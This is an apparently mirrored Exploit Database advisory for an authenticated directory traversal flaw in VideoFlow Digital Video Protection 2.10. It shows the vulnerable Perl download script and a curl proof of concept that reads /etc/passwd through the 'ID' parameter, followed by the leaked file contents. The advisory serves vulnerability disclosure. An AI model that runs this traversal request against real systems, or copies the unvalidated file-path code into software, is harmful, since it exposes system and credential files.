VideoFlow Digital Video Protection (DVP) 2.10 – Directory Traversal

• Exploit Database
• 17 阅读

• 作者： LiquidWorm
  日期： 2018-04-02
• 类别：

  • webapps
  平台：

  • perl
• 来源：https://www.exploit-db.com/exploits/44386/

• VideoFlow Digital Video Protection DVP 10 Authenticated Directory Traversal
  
  Vendor: VideoFlow Ltd.
  Product web page: http://www.video-flow.com
  Affected version: 2.10 (X-Prototype-Version: 1.6.0.2)
  
  System = Indicate if the DVP is configured as Protector, Sentinel or Fortress
  Version = The Operating System SW version number
  Image version = Production Image version
  
  System: DVP Protector
  Version: 1.40.0.15(R) May 5 2015 05:27:05
  Image version: 3.07i
  
  System: DVP Protector
  Version: 1.40.0.15(R) May 5 2015 05:27:05
  Image version: 2.08
  
  System: DVP Fortress
  Version: 2.10.0.5(R) Jan 7 2018 03:26:35
  Image version: 3.07
  
  
  Summary: VideoFlow's Digital Video Protection (DVP) product is used by
  leading companies worldwide to boost the reliability of IP networks, including
  the public Internet, for professional live broadcast. DVP enables broadcast
  companies to confidently contribute and distribute live video over IP with
  unprecedented levels of service continuity, at a fraction of the cost of
  leased lines or satellite links. It accelerates ROI by reducing operational
  costs and enabling new revenue streams across a wide variety of markets.
  
  Desc: The application suffers from an authenticated arbitrary file disclosure
  vulnerability including no session expiration. Input passed via the 'ID' parameter
  in several Perl scripts is not properly verified before being used to download
  system files. This can be exploited to disclose the contents of arbitrary
  files via directory traversal attacks.
  
  Scripts affected:
  
  $ grep -rnH "Content-Disposition" .
  ./download.pl:30:print "Content-Disposition:attachment;filename=$ID\n\n";
  ./download_xml.pl:23:print "Content-Disposition:attachment;filename=$ID\n\n";
  ./downloadmib.pl:22:print "Content-Disposition:attachment;filename=$ID\n\n";
  ./downloadFile.pl:30:print "Content-Disposition:attachment;filename=$OUTNAME\n\n";
  ./downloadsys.pl:22:print "Content-Disposition:attachment;filename=$ID\n\n";
  
  ----------------------------------------------------------------------------
  /dvp100/confd/docroot/cgi-bin/downloadsys.pl:
  ---------------------------------------------
  
   1#!/usr/bin/perl -wT
   2# http://www.sitepoint.com/file-download-script-perl/
   3
   4use strict;
   5use CGI;
   6use CGI::Carp qw ( fatalsToBrowser );
   7my $files_location;
   8my $query = CGI->new;
   9my $ID = $query->param('ID');
  10my @fileholder;
  11
  12$files_location = "/dvp100/confd/docroot/cgi-bin/";
  13#$ID = "syslog.tar.gz"; #param('ID');
  14
  15if ($ID eq '') {
  16
  17} else {
  18open(DLFILE, "<$files_location/$ID") || Error('open', 'file');
  19@fileholder = <DLFILE>;
  20close (DLFILE) || Error ('close', 'file');
  21print "Content-Type:application/x-download\n";
  22print "Content-Disposition:attachment;filename=$ID\n\n";
  23print @fileholder;
  24}
  
  ----------------------------------------------------------------------------
  
  Tested on: CentOS release 5.6 (Final) (2.6.18-238.12.1.el5)
   CentOS release 5.10 (Final) (2.6.18-371.el5)
   ConfD
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2018-5454
  Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5454.php
  
  01.02.2018
  
  ---
  
  
  curl 'http://17.17.17.17/cgi-bin/downloadsys.pl?ID=../../../../etc/passwd' -H Cookie:sessionid=sess3638473331458218
  root:x:0:0:root:/root:/bin/bash
  bin:x:1:1:bin:/bin:/sbin/nologin
  daemon:x:2:2:daemon:/sbin:/sbin/nologin
  adm:x:3:4:adm:/var/adm:/sbin/nologin
  lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
  sync:x:5:0:sync:/sbin:/bin/sync
  shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  halt:x:7:0:halt:/sbin:/sbin/halt
  mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
  news:x:9:13:news:/etc/news:
  uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
  ...
  ...